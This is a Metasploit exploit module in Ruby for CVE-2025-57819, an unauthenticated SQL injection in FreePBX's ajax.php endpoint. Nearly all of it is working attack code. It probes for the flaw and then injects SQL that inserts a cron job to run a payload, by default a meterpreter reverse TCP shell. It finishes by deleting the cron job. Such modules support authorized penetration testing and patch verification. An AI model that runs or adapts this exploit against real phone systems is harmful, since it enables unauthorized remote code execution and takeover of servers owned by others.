## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'FreePBX ajax.php unuthenticated SQLi to RCE', 'Description' => %q{ This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89, and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing remote code execution on the target system. }, 'License' => MSF_LICENSE, 'Author' => [ 'Echo_Slow', # msf module 'Piotr Bazydlo', # POC used as a template 'Sonny' # POC used as a template ], 'References' => [ ['CVE', '2025-57819'], ['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/'] ], 'Platform' => ['linux'], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Unix Command', { 'DefaultOptions' => { 'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', 'WfsDelay' => 70 # cronjob may take up to a minute to start } } ] ], 'Privileged' => false, 'DisclosureDate' => '2025-08-28', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new( 'TARGETURI', [false, 'The URI for the FreePBX installation', '/'] ) ] ) end def check print_status('Checking if vulnerable...') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), 'vars_get' => { 'module' => 'FreePBX\\modules\\endpoint\\ajax', 'command' => 'model', 'template' => Rex::Text.rand_text_alphanumeric(3..6), 'model' => Rex::Text.rand_text_alphanumeric(3..6), 'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'" } ) if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/ return Exploit::CheckCode::Vulnerable('Detected SQL injection') end Exploit::CheckCode::Safe('No SQL injection detected, target is patched') end def exploit module_name = Rex::Text.rand_text_alpha(4..7) @job_name = Rex::Text.rand_text_alpha(4..7) rce_payload = Rex::Text.rand_text_alpha(4..7) rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)" rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- " res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), 'vars_get' => { 'module' => 'FreePBX\\modules\\endpoint\\ajax', 'command' => 'model', 'template' => Rex::Text.rand_text_alphanumeric(3..6), 'model' => Rex::Text.rand_text_alphanumeric(3..6), 'brand' => rce_payload } ) if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/ print_good("Created cronjob with job name: '#{@job_name}'") print_status('Waiting for cronjob to trigger...') else fail_with(Failure::PayloadFailed, 'Cronjob was not created.') end end def cleanup super return unless @job_name # Remove the created cronjob res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), 'vars_get' => { 'module' => 'FreePBX\\modules\\endpoint\\ajax', 'command' => 'model', 'template' => Rex::Text.rand_text_alphanumeric(3..6), 'model' => Rex::Text.rand_text_alphanumeric(3..6), 'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- " } ) print_status('Attempting to perform cleanup') if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/ print_good('Cronjob removed, happy hacking!') else print_bad('Cronjob not removed, please perform manual cleanup!') end end end